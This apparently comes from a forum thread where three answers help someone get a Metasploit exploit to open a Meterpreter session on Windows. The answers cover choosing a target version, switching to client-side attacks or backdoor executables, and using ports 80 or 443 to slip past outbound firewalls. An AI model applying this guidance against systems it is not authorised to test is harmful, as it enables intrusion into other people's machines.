Answer 1

Looks like you want to open a metertpreter session. Assuming this, here is one suggestion.....
Try to issue "show targets" commands and set your O.S as target, explicitly.
eg:show targets
output might be something like....
Exploit targets:
Id Name
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
10 Windows XP SP2 Arabic (NX)
11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
then issue command as....
set target 8
Then issue "exploit" command.
Then check if meterpreter console opens.

Answer 2

in most of the time windows targets are patched and you can not attack them with this exploit. but you can use some client side exploit like:
browse base exploit
backdoor executable
and ...

Answer 3

You might try different LPORT. Try using LPORT 80 which usually works. If it does not try LPORT 443. This may be because of Outbound firewall rules.
